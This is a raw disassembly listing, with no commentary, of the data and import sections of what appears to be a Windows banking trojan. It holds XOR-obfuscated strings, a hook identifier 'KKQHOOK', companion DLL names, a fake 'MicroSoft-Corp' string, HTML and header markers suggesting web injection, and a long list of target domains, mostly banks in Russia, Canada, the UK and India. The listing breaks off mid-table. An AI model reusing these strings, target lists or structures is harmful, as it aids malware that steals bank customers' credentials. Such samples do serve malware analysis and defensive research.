DATA XREF: sub_40AB84+689o dd 0C5D6C0C3h, 0DEFAEBD2h, 0C4D8C5D4h, 0EBC3D1D8h, 0D3D9DEE0h dd 0EBC4C0D8h, 0C5C5C2F4h, 0E1C3D9D2h, 0DEC4C5D2h, 0E4EBD9D8h dd 0DBDBD2DFh, 0C1C5D2E4h, 0F8D2D4DEh, 0D4D2DDD5h, 0DBD2F3C3h dd 0D8FBCED6h db 0D6h, 0D3h, 0 aXFC db '',0 ; DATA XREF: sub_40AB84+584o aDes db 'ۄ',0 ; DATA XREF: sub_40AB84+570o aIS_1 db 'Ù',0 ; DATA XREF: sub_40AB84+434o aTIS_1 db '',0 ; DATA XREF: sub_40AB84+3F3o aDatkkq32_dll db 'datkkq32.dll',0 ; DATA XREF: sub_40AB84+3CEo aDnkkq_dll db 'dnkkq.dll',0 ; DATA XREF: sub_40AB84+39Bo aKkq32_dll db 'kkq32.dll',0 ; DATA XREF: sub_40AB84+36Co aTIt db '',0 ; DATA XREF: sub_40AB84+362o ; sub_40AB84+391o ... aTItS_1 db 'ę',0 ; DATA XREF: sub_40AB84+2C5o asc_446C61 db '',0 ; DATA XREF: sub_40AB84+C6o aIIS db 'ә',0 ; DATA XREF: sub_40AB84+4Co align 10h dd 0 dbl_446C84 dq 1.2 ; DATA XREF: sub_409A96+F8Dr aLCKNsstIlsI db 'җԊǍĉ҉',0 ; DATA XREF: sub_409A96+E51o aLI db 'ۉ',0 ; DATA XREF: sub_409A96+D9Eo aC_1 db 'ė',0 ; DATA XREF: sub_409A96+D2Do asc_446CB9 db '',0 ; DATA XREF: sub_409A96+CECo aE_0 db 'Ӆ',0 ; DATA XREF: sub_409A96+C89o aC_0 db 'ӗ',0 ; DATA XREF: sub_409A96+BC3o word_446CCA dw 0C492h ; DATA XREF: sub_409A96+B76o dd 97F49897h db 92h, 0C4h, 0 aIS_0 db 'ә',0 ; DATA XREF: sub_409A96+B4Eo aTIS_0 db 'ә',0 ; DATA XREF: sub_409A96+B29o aIS db 'ә',0 ; DATA XREF: sub_409A96+AE1o aTIS db 'ә',0 ; DATA XREF: sub_409A96+AC1o aNtze db '',0 ; DATA XREF: sub_409A96+A3Do aIKe db 'NJ',0 ; DATA XREF: sub_409A96+8D4o aTItS_0 db 'ę',0 ; DATA XREF: sub_409A96+74Co aC db '×',0 ; DATA XREF: sub_409A96+473o asc_446D20 db '',0 ; DATA XREF: sub_409A96+25Co ; sub_409A96+5B3o ... aIKt db 'Ԋ',0 ; DATA XREF: sub_409A96+216o asc_446D2A db '',0 ; DATA XREF: sub_409A96+1BDo ; sub_409A96+2E5o word_446D2E dw 0D8E4h ; DATA XREF: sub_409A96+1ABo ; sub_409A96+2D3o dd 0D6C0C3D1h, 0FAEBD2C5h, 0D8C5D4DEh, 0C3D1D8C4h, 0D9DEE0EBh dd 0C4C0D8D3h db 0 aSS db 'ę',0 ; DATA XREF: sub_409A96+16Ao aS db '',0 ; DATA XREF: sub_409A96+135o aNsst db 'Ǎ',0 ; DATA XREF: sub_409A96+101o aTItS db 'ę',0 ; DATA XREF: sub_409A96+97o ; sub_409A96+583o ... byte_446D69 db 0F4h, 0DBh, 0DEh ; DATA XREF: sub_408FEB+81Ao dd 0F897DCD4h, 97D2D4D9h, 0F497D8E3h, 0DEC3D9D8h, 0D2C2D9h dword_446D80 dd 0E3E3E2F5h ; DATA XREF: sub_408FEB+808o db 0F8h, 0F9h, 0 byte_446D87 db 0F2h ; DATA XREF: sub_408FEB+732o ; sub_408FEB+78Co dd 0E3FEF3h aCCCCCCS db 'җҗėӗΗٙ',0 ; DATA XREF: sub_408FEB+67Co byte_446DB3 db 0E2h ; DATA XREF: sub_408FEB+602o dd 0DBD5D6D9h, 0D8C397D2h, 0C3C2D697h, 0DEC5D8DFh, 9799D2CDh dd 97FAE3F6h, 9AF9FEE7h, 0D2D3D8F4h, 97C4DE97h, 0C2C6D2C5h dd 0D3D2C5DEh, 97D8C397h, 0C7DAD8D4h, 0D2C3D2DBh, 0D2DFC397h dd 0D6C5C397h, 0D4D6C4D9h, 0D9D8DEC3h db 99h, 0 word_446DFE dw 0E3F6h ; DATA XREF: sub_408FEB+573o dd 0FEE797FAh, 0D8F49AF9h db 0D3h, 0D2h, 0 byte_446E0B db 0F2h ; DATA XREF: sub_408FEB+4E1o aC_2 db 'ٗ',0 aUCC db 'ŗӗ',0 ; DATA XREF: sub_408FEB+45Bo aEztse db '',0 ; DATA XREF: sub_408FEB+3D9o aTse db '',0 ; DATA XREF: sub_408FEB+384o dword_446E38 dd 0F5FAF8F4h, 0EFF8F5F8h ; DATA XREF: sub_408FEB+26Bo ; sub_408FEB+2CEo db 0 byte_446E41 db 0BDh, 2 dup(97h) ; DATA XREF: sub_408FEB+131o dd 0C3C2F697h, 0DEC5D8DFh, 0DEC3D6CDh, 0F197D9D8h, 0D2DBDED6h db 0D3h, 99h, 0 byte_446E5B db 0E4h ; DATA XREF: sub_408FEB+11Fo ; sub_408FEB+190o ... dd 0FEE3F6E3h db 0F4h, 0 aKkqhook db 'KKQHOOK',0 ; DATA XREF: sub_408FEB+F6o ; sub_409A96+272o ... db 0 byte_446E6B db 0F2h ; DATA XREF: sub_408FEB+5Ao ; sub_40B525+CBo db '',0 dword_446E74 dd 0F8D4D8F3h, 0D4D2DDD5h ; DATA XREF: sub_408FEB+22o ; sub_40B525+ADo db 0C3h, 0 word_446E7E dw 0DDC8h ; DATA XREF: sub_408C17+188o dd 0F8E4ECF1h, 0BAF1E6FBh, 0B4F1ECF1h db 0 byte_446E8D db 0C4h, 0F5h, 0E0h ; DATA XREF: sub_408C17+FCo db 0FCh, 0 word_446E92 dw 0FBC7h ; DATA XREF: sub_408C17+E7o dd 0F5E3E0F2h, 0D9C8F1E6h, 0FBE6F7FDh, 0E0F2FBE7h, 0B4D1DDC8h dd 0E1E0F1C7h, 0F1C7C8E4h, 0E4E1E0h dword_446EB4 dd 0F9E0FCBAh ; DATA XREF: sub_408C17+79o db 0 aKdnMsmKAiiaKLj db 'njƪɚɊӵǚ',0 ; DATA XREF: sub_408585+F1o aKdnSap db '̚Ǚ',0 ; DATA XREF: sub_408585+BFo aVmizmeNee db 'Ǎ',0 ; DATA XREF: sub_408477+5Fo aCs db '',0 ; DATA XREF: sub_408165+22Fo byte_446EF3 db 0FAh ; DATA XREF: sub_406EA8+EA0o dd 0B3BBBBB3h, 0B5FAB1B8h, 0A6B5A3B0h db 0B1h, 0 word_446F02 dw 0B3FAh ; DATA XREF: sub_406EA8+E73o dd 0B8B3BBBBh db 0B1h, 0FAh, 0 byte_446F0B db 0F4h ; DATA XREF: sub_406EA8+DE8o db 0 byte_446F0D db 0EEh, 0 ; DATA XREF: sub_406EA8+D61o byte_446F0F db 0F4h ; DATA XREF: sub_406EA8+CE2o dd 0EE8CF1h byte_446F14 db 0A8h, 0 ; DATA XREF: sub_406EA8+680o word_446F16 dw 92E8h ; DATA XREF: sub_406EA8+5C0o dd 91999586h, 0F98CF18Bh, 99869B92h, 0EA8CF18Bh db 0F4h, 0 word_446F2A dw 99E8h ; DATA XREF: sub_406EA8+56Co dd 849A9D95h, 9B92F993h, 0F18B9986h, 0F4EA8Ch aName: ; DATA XREF: sub_406EA8+39o unicode 0, <name>,0 align 4 aValue: ; DATA XREF: sub_406EA8+24o unicode 0, <value>,0 dword_446F54 dd 0C2D3D9FDh, 0D6DFC3DFh, 0DEF990C4h, 0DEC2D5C4h, 0F590C4D5h ; DATA XREF: sub_406B58+BDo dd 0DFDCC0C8h, 0C2D5C2h a9ba05972F6a811: ; DATA XREF: sub_406A6B+43o unicode 0, <{9BA05972-F6A8-11CF-A442-00A0C90A8F39}>,0 aHtml db '<HTML><!--',0 ; DATA XREF: sub_4063C4+45Co ; sub_4063C4+467o ... aXOkrecv11 db 'X-okRecv11',0 ; DATA XREF: sub_4063C4+3C3o aYuvbqU db 'YUVbq}u',0 ; DATA XREF: sub_4063C4+311o dword_446FDC dd 65356335h, 5D303D30h, 7F627379h, 64767F63h, 647E5930h ; DATA XREF: sub_4063C4+2C2o dd 757E6275h, 68553064h, 627F7C60h db 75h, 62h, 0 byte_446FFF db 4Ch ; DATA XREF: sub_4063C4+1BAo dd 60687559h, 75627F7Ch, 7568753Eh db 30h, 0 a@qdx db '@qdx',0 ; DATA XREF: sub_4063C4+A6o byte_447013 db 43h ; DATA XREF: sub_4063C4+94o dd 6764767Fh, 4C756271h, 6273795Dh, 767F637Fh, 55594C64h dd 64754330h, 434C6065h, 60656475h db 0 byte_447035 db 51h, 2 dup(60h) ; DATA XREF: sub_406073+326o dd 7E756655h, 434C6364h, 7D757873h, 514C6375h, 4C636060h dd 7C606855h, 6275627Fh, 6473514Ch, 64716679h, 54777E79h dd 7D65737Fh, 4C647E75h, 6265533Eh, 647E7562h db 0 byte_447071 db 51h, 2 dup(60h) ; DATA XREF: sub_406073+301o dd 7E756655h, 434C6364h, 7D757873h, 514C6375h, 4C636060h dd 7C606855h, 6275627Fh, 66715E4Ch, 64717779h, 4C777E79h dd 6265533Eh, 647E7562h db 0 byte_4470A5 db 57h, 7Ch, 7Fh ; DATA XREF: sub_406073+2CDo aRqEcub_vvYU db 'rq|Ecub_vv|y~u',0 byte_4470B7 db 43h ; DATA XREF: sub_406073+2BBo dd 6764767Fh, 4C756271h, 6273795Dh, 767F637Fh, 79474C64h dd 677F747Eh, 65534C63h, 7E756262h, 62754664h, 7E7F7963h dd 647E594Ch, 757E6275h, 75433064h, 7E796464h db 77h, 63h, 0 byte_4470F3 db 79h ; DATA XREF: sub_406073+28Fo dd 7C606875h, 3E75627Fh, 756875h dword_447100 dd 434C6335h, 6764767Fh, 4C756271h, 6273795Dh, 767F637Fh ; DATA XREF: sub_406073+25Ao dd 7E594C64h, 7E627564h, 55306475h, 7F7C6068h, 4C627562h dd 7E79715Dh, 7175564Ch, 75626564h, 647E7F53h, 4C7C7F62h dd 44515556h, 4F554245h, 51535F5Ch, 53515D5Ch, 555E5958h dd 535F5C4Fh, 475F545Bh db 5Eh, 0 word_44715A dw 7569h ; DATA XREF: sub_406073+1F3o db 63h, 0 word_44715E dw 6252h ; DATA XREF: sub_406073+1E1o dd 7563677Fh, 4067755Eh, 75737F62h db 2 dup(63h), 0 byte_44716F db 3Eh ; DATA XREF: sub_406073+1CFo dd 51565554h, 4C445C45h, 44565F43h, 55425147h, 73795D4Ch dd 7F637F62h, 474C6476h, 7F747E79h, 534C6367h, 75626265h dd 7546647Eh, 7F796362h, 68554C7Eh, 627F7C60h, 524C6275h dd 63677F62h, 67755E75h, 737F6240h, 636375h dword_4471BC dd 44565F43h, 55425147h, 7C7F404Ch, 75797379h, 795D4C63h ; DATA XREF: sub_406073+109o dd 637F6273h, 4C64767Fh, 747E7947h, 4C63677Fh, 62626553h dd 46647E75h, 79636275h, 594C7E7Fh, 6275647Eh, 3064757Eh dd 64647543h, 63777E79h, 7E7F4A4Ch, 354C6375h db 65h, 0 asc_44720A db '!& !',0 ; DATA XREF: sub_406073+95o ; sub_406073+C3o ... byte_44720F db 43h ; DATA XREF: sub_406073+61o dd 4744565Fh, 4C554251h, 6273795Dh, 767F637Fh, 79474C64h dd 677F747Eh, 65534C63h, 7E756262h, 62754664h, 7E7F7963h dd 647E594Ch, 757E6275h, 75433064h, 7E796464h, 4A4C6377h dd 63757E7Fh, 65354Ch a?xd_ db ',?xd}|.',0 ; DATA XREF: sub_4056CB+8E0o dword_44725C dd 7F723F2Ch, 2E6974h ; DATA XREF: sub_4056CB+8C8o a?csbyD_ db ',?csby`d.',0 ; DATA XREF: sub_4056CB+8ABo word_44726E dw 7563h ; DATA XREF: sub_4056CB+835o dd 7D794464h, 64657F75h, 63353238h, 3C323938h, 2B396535h db 0 byte_447285 db 6Dh, 0 ; DATA XREF: sub_4056CB+80Do byte_447287 db 74h ; DATA XREF: sub_4056CB+7BBo dd 7D65737Fh, 3E647E75h, 633E6335h, 797D7265h, 2B393864h db 0 byte_44729D db 76h, 65h, 7Eh ; DATA XREF: sub_4056CB+77Bo dd 7F796473h, 6335307Eh, 6B3938h a5s5E db '5s5>"e',0 ; DATA XREF: sub_4056CB+719o aCsbyD_ db ',csby`d.',0 ; DATA XREF: sub_4056CB+6D4o dword_4472BC dd 7F763F2Ch, 2E7D62h ; DATA XREF: sub_4056CB+6BCo aYEd0diU2cerYd2 db ',y~`ed0di`u-2cer}yd20fq|eu-77.',0 ; DATA XREF: sub_4056CB+687o a5cl db '5cl',0 ; DATA XREF: sub_4056CB+54Ao byte_4472E7 db 2Ch ; DATA XREF: sub_4056CB+495o ; sub_4056CB+5CAo dd 65607E79h, 69643064h, 322D7560h, 64797475h, 71663032h dd 2D75657Ch, 37633537h, 7D717E30h, 35372D75h, 37653563h dd 62722C2Eh, 1A1D2Eh dword_447318 dd 607E792Ch, 64306465h, 2D756069h, 79747532h, 66303264h ; DATA XREF: sub_4056CB+2E8o dd 75657C71h, 6535372Dh, 717E3037h, 372D757Dh, 2C2E3771h dd 1D2E6272h db 1Ah, 0 word_447346 dw 762Ch ; DATA XREF: sub_4056CB+2A5o dd 307D627Fh, 79647371h, 322D7E7Fh, 30326335h, 7864757Dh dd 322D747Fh, 44435F40h, 717E3032h, 322D757Dh, 2E326335h db 0 aV5E db 'v5>#e',0 ; DATA XREF: sub_4056CB+267o byte_447377 db 2Ch ; DATA XREF: sub_4056CB+231o dd 69747F72h db 2Eh, 0 a?xuqt_ db ',?xuqt.',0 ; DATA XREF: sub_4056CB+213o aMicrosoftCorp db 'MicroSoft-Corp',0 ; DATA XREF: sub_4056CB+1E2o ; sub_4063C4+2D2o aDydU_5c5e?dydU db ',dyd|u.5c5e,?dyd|u.',0 ; DATA XREF: sub_4056CB+1D2o aXuqt_ db ',xuqt.',0 ; DATA XREF: sub_4056CB+1B4o aXd_ db ',xd}|.',0 ; DATA XREF: sub_4056CB+183o aXd db '>xd}',0 ; DATA XREF: sub_4056CB+150o a5c5s5s db '5c5s5s',0 ; DATA XREF: sub_4055F7+6Ao ; sub_4056CB+3F9o asc_4473C3 db ':>:',0 ; DATA XREF: sub_405415+F3o asc_4473C7 db '/',0 ; DATA XREF: sub_405415+61o a3zc db ';3zc',0 ; DATA XREF: sub_405098+166o a3zc_0 db '3zc',0 ; DATA XREF: sub_405098+FCo aN3N3N3N3N3N3N db '&n3&$~n3&$~n3&$~n3&$~n3&$~n3&$~n',0 ; DATA XREF: sub_405098+92o aE3zc db 'E;3zc;',0 ; DATA XREF: sub_405098+4Fo a9usxbsd db '*9usxbsd(',0 ; DATA XREF: sub_404DE3+1E4o aUsxbsd db '*usxbsd(',0 ; DATA XREF: sub_404DE3+1B7o a9pyxb db '*9pyxb(',0 ; DATA XREF: sub_404DE3+175o a9c db '*9c(',0 ; DATA XREF: sub_404DE3+13Ao a9t db '*9t(',0 ; DATA XREF: sub_404DE3+112o byte_44741F db 2Ah ; DATA XREF: sub_404DE3+DCo dd 287F39h dword_447424 dd 287F2Ah ; DATA XREF: sub_404DE3+9Ao dword_447428 dd 28632Ah ; DATA XREF: sub_404DE3+6Do dword_44742C dd 28742Ah ; DATA XREF: sub_404DE3+32o aTd db '*td(',0 ; DATA XREF: sub_404DE3+Ao a6 db ';;(6',0 ; DATA XREF: sub_404BA0+7Do a76 db '*7;;6',0 ; DATA XREF: sub_404A48+8Bo byte_447440 db 1Bh, 1Ch, 0 ; DATA XREF: sub_404878+1A3o ; sub_404DE3+211o byte_447443 db 39h ; DATA XREF: sub_404878+F5o dd 33753339h, 1B753375h db 1Ch, 0 aWd63u3u3u663c db '`wd63u3u3u6+63c-',0 ; DATA XREF: sub_404878+12o a69 db '6<9',0 ; DATA XREF: sub_40479E+A8o a3e3u db '3e3u',0 ; DATA XREF: sub_40479E+30o ; sub_404BA0-94o ... a96 db '9<6',0 ; DATA XREF: sub_40472A+60o aBlind_user db 'blind_user',0 ; DATA XREF: sub_4045BD+67o ; sub_40466A+19o aCC db '紻״',0 ; DATA XREF: sub_4041FC+2E1o dword_447480 dd 0FBFBF8AEh, 0D49E99E4h, 0B4F8F1F0h, 0FAAAE7B1h, 9E99F8E1h ; DATA XREF: sub_4041FC+236o dd 0B4F2FDD4h, 0E7FDECF1h, 0E7B1B4E0h, 0E0FBF3B4h, 0FBF8B4FBh dd 9E99E4FBh, 0F8F1F0D4h, 0AAE7B1B4h, 99F8E1FAh db 9Eh, 0 word_4474BA dw 0F7C8h ; DATA XREF: sub_4041FC+1AFo dd 0F5F9F9FBh, 0F7BAF0FAh db 0FBh, 0F9h, 0 byte_4474C7 db 0B1h ; DATA XREF: sub_4041FC+172o dd 0FBF7C8E7h, 0FAF5F9F9h, 0FDE4BAF0h db 0F2h, 0 word_4474D6 dw 0E7B1h ; DATA XREF: sub_4041FC+140o dd 0F8E7ECC8h, 0ADF8F0F2h, 0F5F6BAECh db 0E0h, 0 word_4474E6 dw 0F7C8h ; DATA XREF: sub_4041FC+104o dd 0F1BAF0F9h db 0ECh, 0F1h, 0 byte_4474EF db 0B1h ; DATA XREF: sub_4041FC+E4o dd 0F9F7C8E7h, 0FDE4BAF0h db 0F2h, 0 word_4474FA dw 0E7B1h ; DATA XREF: sub_4041FC+C4o dd 0F8E7ECC8h, 0FAF8F0F2h, 0F5F6BAE0h db 0E0h, 0 word_44750A dw 1B27h ; DATA XREF: sub_404028+5Bo dd 15030012h, 39281106h, 1B06171Dh, 121B07h, 1A1D2328h dd 7031B10h, 6013728h, 1A1106h, 7061122h, 281A1B1Dh, 18111C27h dd 6112718h, 11171D02h, 111E163Bh, 11300017h, 380D1518h dd 10151Bh dword_447550 dd 6150435h, 1A111900h ; DATA XREF: sub_404028+36o db 2 dup(0) word_44755A dw 1C20h ; DATA XREF: sub_404028+24o dd 10151106h, 39131A1Dh, 1811101Bh db 0 byte_447569 db 0 ; DATA XREF: sub_404028:loc_40402Fo ; sub_406073+30Fo ... word_44756A dw 3837h ; DATA XREF: sub_403D2D+2DDo dd 28303D27h, 3D280751h, 1B06241Ah, 6112717h, 47061102h db 46h, 0 word_447582 dw 751h ; DATA XREF: sub_403D2D+229o dd 5A075128h, 181810h dword_44758C dd 4044510Fh, 4044512Ch, 4451592Ch, 51592C40h, 592C4044h ; DATA XREF: sub_403D2D+2Bo dd 2C404451h, 40445159h, 2 dup(4044512Ch) db 2Ch, 9, 0 byte_4475B3 db 54h ; DATA XREF: sub_403BBF+111o db 0 byte_4475B5 db 51h, 7, 28h ; DATA XREF: sub_403BBF+3Eo dd 115A0751h db 0Ch, 11h, 0 aQdl db 'QDL,',0 ; DATA XREF: sub_403AED+73o byte_4475C4 db 5, 0 ; DATA XREF: sub_4038DA+4Ao ; .text:004039AEo word_4475C6 dw 62h ; DATA XREF: sub_4037FA+1Fo byte_4475C8 db 2, 0 ; DATA XREF: sub_4036F8+A7o word_4475CA dw 0C70h ; DATA XREF: sub_403530+33o ; sub_4035A5+46o db 0 aChevychasebank db 'chevychasebank.com',0 ; DATA XREF: .data:0043C1DCo aGronxplanets_r db 'gronxplanets.ru',0 ; DATA XREF: .data:0043C1D8o aWww_mdmbank_ru db 'www.mdmbank.ru',0 ; DATA XREF: .data:0043C1D4o aFethard_biz db 'fethard.biz',0 ; DATA XREF: .data:0043C1D0o aRoyalbank_com db 'royalbank.com',0 ; DATA XREF: .data:0043C1CCo aSecuritylab_ru db 'securitylab.ru',0 ; DATA XREF: .data:0043C1C8o aTatNeftbank_ru db 'tat-neftbank.ru',0 ; DATA XREF: .data:0043C1C4o aSeclab_ru db 'seclab.ru',0 ; DATA XREF: .data:0043C1C0o aOpenbank_com db 'openbank.com',0 ; DATA XREF: .data:0043C1BCo aGutabank_ru db 'gutabank.ru',0 ; DATA XREF: .data:0043C1B8o aWww_b2bTrust_c db 'www.b2b-trust.com',0 ; DATA XREF: .data:0043C1B4o aGrepwareFacili db 'grepware-facility.ru',0 ; DATA XREF: .data:0043C1B0o aWww_uralsib_ru db 'www.uralsib.ru',0 ; DATA XREF: .data:0043C1ACo a53bank_com db '53bank.com',0 ; DATA XREF: .data:0043C1A8o aWww_nbc_caInde db 'www.nbc.ca/index.php',0 ; DATA XREF: .data:0043C1A4o aTotallyfreeban db 'totallyfreebanking.com',0 ; DATA XREF: .data:0043C1A0o aBarclays_com db 'barclays.com',0 ; DATA XREF: .data:0043C19Co aWww_lbcdirect_ db 'www.lbcdirect.laurentianbank.ca/index.php',0 ; DATA XREF: .data:0043C198o aKidosBank_ru db 'kidos-bank.ru',0 ; DATA XREF: .data:0043C194o aYambo_biz db 'yambo.biz',0 ; DATA XREF: .data:0043C190o aProrat_net db 'prorat.net',0 ; DATA XREF: .data:0043C18Co aWww1_hsbc_caIn db 'www1.hsbc.ca/index.php',0 ; DATA XREF: .data:0043C188o aWww_ovk_ru db 'www.ovk.ru',0 ; DATA XREF: .data:0043C184o aWww_rbc_com db 'www.rbc.com',0 ; DATA XREF: .data:0043C180o aMasterX_comFor db 'master-x.com/forum/',0 ; DATA XREF: .data:0043C17Co aWww_allahabadb db 'www.allahabadbank.com',0 ; DATA XREF: .data:0043C178o aOnlineBusiness db 'online-business.lloydstsb.co.uk',0 ; DATA XREF: .data:0043C174o aMyonlineaccoun db 'myonlineaccounts2.abbeynational.co.uk',0 ; DATA XREF: .data:0043C170o aWww_absolutban db 'www.absolutbank.ru',0 ; DATA XREF: .data:0043C16Co aKavkazcenter_c db 'kavkazcenter.com/russ',0 ; DATA XREF: .data:0043C168o aWww_netmagiste db 'www.netmagister.com',0 ; DATA XREF: .data:0043C164o aWww_kmb_ru db 'www.kmb.ru',0 ; DATA XREF: .data:0043C160o aWww_spyinstruc db 'www.spyinstructors.com',0 ; DATA XREF: .data:0043C15Co aAcroleinHawk_r db 'acrolein-hawk.rubanking.halifax-online.co.uk',0 ; DATA XREF: .data:0043C158o aWww_icbank_ru db 'www.icbank.ru',0 ; DATA XREF: .data:0043C154o aWww_bankofindi db 'www.bankofindia.com',0 ; DATA XREF: .data:0043C150o aPizdabolInc_ru db 'pizdabol-inc.ru',0 ; DATA XREF: .data:0043C14Co aWww_sbrf_ru db 'www.sbrf.ru',0 ; DATA XREF: .data:0043C148o aWww_candidatev db 'www.candidateverifier.com/index.php',0 ; DATA XREF: .data:0043C144o aWww_worldbank_ db 'www.worldbank.org/index.php',0 ; DATA XREF: .data:0043C140o aDigitalRelaxkg db 'digital-relaxkgb.ru',0 ; DATA XREF: .data:0043C13Co aAsmworm_com db 'asmworm.com',0 ; DATA XREF: .data:0043C134o aAtmacasoft_com db 'atmacasoft.com',0 ; DATA XREF: .data:0043C130o aCrutop_nuVbu_1 db 'crutop.nu/vbulletin/showthread.php',0 ; DATA XREF: .data:0043C12Co aWww_uniastrum_ db 'www.uniastrum.ru',0 ; DATA XREF: .data:0043C128o aCrutop_nuVbu_0 db 'crutop.nu/vbulletin/forumdisplay.php',0 ; DATA XREF: .data:0043C124o aWww_mmbank_ru db 'www.mmbank.ru',0 ; DATA XREF: .data:0043C120o aCrutop_nuVbull db 'crutop.nu/vbulletin/',0 ; DATA XREF: .data:0043C11Co aAlfabank_ru db 'alfabank.ru',0 ; DATA XREF: .data:0043C118o aHyperSpaceFuel db 'hyper-space-fuel.ru',0 ; DATA XREF: .data:0043C114o aWww_cwbank_com db 'www.cwbank.com',0 ; DATA XREF: .data:0043C110o aWww_vtb_ru db 'www.vtb.ru',0 ; DATA XREF: .data:0043C10Co aWww_cibc_com db 'www.cibc.com',0 ; DATA XREF: .data:0043C108o aWww_bankofmadu db 'www.bankofmadura.com',0 ; DATA XREF: .data:0043C104o aWww_bmo_com db 'www.bmo.com',0 ; DATA XREF: .data:0043C100o aWww_bankBanque db 'www.bank-banque-canada.ca/index.php',0 ; DATA XREF: .data:0043C0FCo aWww_masterbank db 'www.masterbank.ru',0 ; DATA XREF: .data:0043C0F8o aEbookfinaltras db 'ebookfinaltrash.ru',0 ; DATA XREF: .data:0043C0F4o aMasterX_com db 'master-x.com',0 ; DATA XREF: .data:0043C0F0o aWww_bbin_ru db 'www.bbin.ru',0 ; DATA XREF: .data:0043C0ECo aOlb2_nationet_ db 'olb2.nationet.com',0 ; DATA XREF: .data:0043C0E8o aWelcome3_smile db 'welcome3.smile.co.uk',0 ; DATA XREF: .data:0043C0E4o aWww_baltbank_r db 'www.baltbank.ru',0 ; DATA XREF: .data:0043C0E0o aNew_egg_com db 'new.egg.com',0 ; DATA XREF: .data:0043C0DCo aProdexteam_n_1 db 'prodexteam.netcrutop.nu',0 ; DATA XREF: .data:0043C0D8o aWww_proxySocks db 'www.proxy-socks.net',0 ; DATA XREF: .data:0043C0D4o ; .data:0043C138o aWww_cbr_ru db 'www.cbr.ru',0 ; DATA XREF: .data:0043C0D0o aProdexteam_n_0 db 'prodexteam.net/main.htm',0 ; DATA XREF: .data:0043C0CCo aProdexteam_net db 'prodexteam.net',0 ; DATA XREF: .data:0043C0C8o aChechenpress_i db 'chechenpress.info',0 ; DATA XREF: .data:0043C0C4o aSiliconfirewar db 'siliconfireware.ru',0 ; DATA XREF: .data:off_43C0C0o db '://',0 align 4 dword_447B0C dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; DATA XREF: sub_406EA8+D9o dword_447B1C dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_406EA8+46Ao ; sub_406EA8+8D9o dword_447B2C dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_406EA8+803o dword_447B3C dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fh ; DATA XREF: sub_406EA8+2E3o dword_447B4C dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7h ; DATA XREF: sub_406A6B+A3o dword_447B5C dd 2 dup(0) ; DATA XREF: sub_406A6B+6Bo dd 0C0h, 46000000h dword_447B6C dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh ; DATA XREF: sub_406B58+1E8o dword_447B7C dd 10h dup(0) ; DATA XREF: sub_40BEE0o ; sub_40BEE0:loc_40BEFAo ... dword_447BBC dd 0 ; DATA XREF: sub_40BE84+16o ; sub_40BE84:loc_40BEC6o ... dd 0Fh dup(0) dword_447BFC dd 0 ; DATA XREF: sub_40BFE9+Cw ; sub_40BFE9+825r dword_447C00 dd 0 ; DATA XREF: sub_40BFE9+14w ; sub_40BFE9+82Cr dword_447C04 dd 0 ; DATA XREF: sub_40BFE9+1Cw ; sub_40BFE9+834r dword_447C08 dd 0 ; DATA XREF: sub_40BFE9+24w ; sub_40BFE9+83Cr align 400h _data ends ; Section 4. (virtual address 00048000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00048000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata segment para public 'DATA' use32 assume cs:_idata ;org 448000h off_448000 dd offset dword_44810C ; DATA XREF: .idata:00448E00o dd 2 dup(0) dd offset dword_44810C dd offset dword_44810C off_448014 dd offset dword_44811C ; DATA XREF: .idata:00448E10o ; .idata:00448E14o align 10h dd offset dword_44811C dd offset dword_44811C off_448028 dd offset dword_448134 ; DATA XREF: .idata:00448E24o ; .idata:00448E28o ... dd 2 dup(0) dd offset dword_448134 dd offset dword_448134 off_44803C dd offset dword_448214 ; DATA XREF: .idata:00448E44o ; .idata:00448E48o ... dd 2 dup(0) dd offset dword_448214 dd offset dword_448214 off_448050 dd offset dword_448290 ; DATA XREF: .idata:00448F28o ; .idata:00448F2Co ... dd 2 dup(0) dd offset dword_448290 dd offset dword_448290 off_448064 dd offset dword_4482AC ; DATA XREF: .idata:00448FA8o ; .idata:00448FACo ... align 10h dd offset dword_4482AC dd offset dword_4482AC off_448078 dd offset dword_4482E8 ; DATA XREF: .idata:00448FCCo ; .idata:00448FD0o ... dd 2 dup(0) dd offset dword_4482E8 dd offset dword_4482E8 off_44808C dd offset dword_448338 ; DATA XREF: .idata:0044900Co ; .idata:00449010o ... dd 2 dup(0) dd offset dword_448338 dd offset dword_448338 dd 1Ah dup(0) dd 48574h dword_44810C dd 2 dup(0) ; DATA XREF: .idata:off_448000o ; .idata:0044800Co ... dd 48588h, 485A4h dword_44811C dd 2 dup(0) ; DATA XREF: .idata:off_448014o ; .idata:00448020o ... dd 485C0h, 485D4h, 485E8h, 485F8h dword_448134 dd 2 dup(0) ; DATA XREF: .idata:off_448028o ; .idata:00448034o ... dd 4860Ch, 4861Ch, 4862Ch, 48648h, 4865Ch, 48674h, 4868Ch dd 4869Ch, 486ACh, 486BCh, 486D4h, 486E8h, 486FCh, 48710h dd 48728h, 48738h, 48748h, 48758h, 48768h, 48778h, 48790h dd 487A8h, 487BCh, 487D0h, 487E4h, 487FCh, 48814h, 48824h dd 48834h, 48848h, 48858h, 48864h, 48874h, 48880h, 48890h dd 488A0h, 488ACh, 488B8h, 488C8h, 488D8h, 488ECh, 488FCh dd 48904h, 48918h, 48928h, 48938h, 48948h, 48960h, 4896Ch dd 48978h, 48988h, 48994h, 489A0h, 489B4h dword_448214 dd 2 dup(0) ; DATA XREF: .idata:off_44803Co ; .idata:00448048o ... dd 489C4h, 489D8h, 489ECh, 489FCh, 48A0Ch, 48A18h, 48A28h dd 48A34h, 48A4Ch, 48A5Ch, 48A68h, 48A74h, 48A84h, 48A94h dd 48AA8h, 48ABCh, 48AD0h, 48AE4h, 48AF8h, 48B0Ch, 48B20h dd 48B2Ch, 48B3Ch, 48B50h, 48B64h, 48B74h, 48B88h, 48B98h dd 48BA8h dword_448290 dd 2 dup(0) ; DATA XREF: .idata:off_448050o ; .idata:0044805Co ... dd 48BBCh, 48BD0h, 48BE0h, 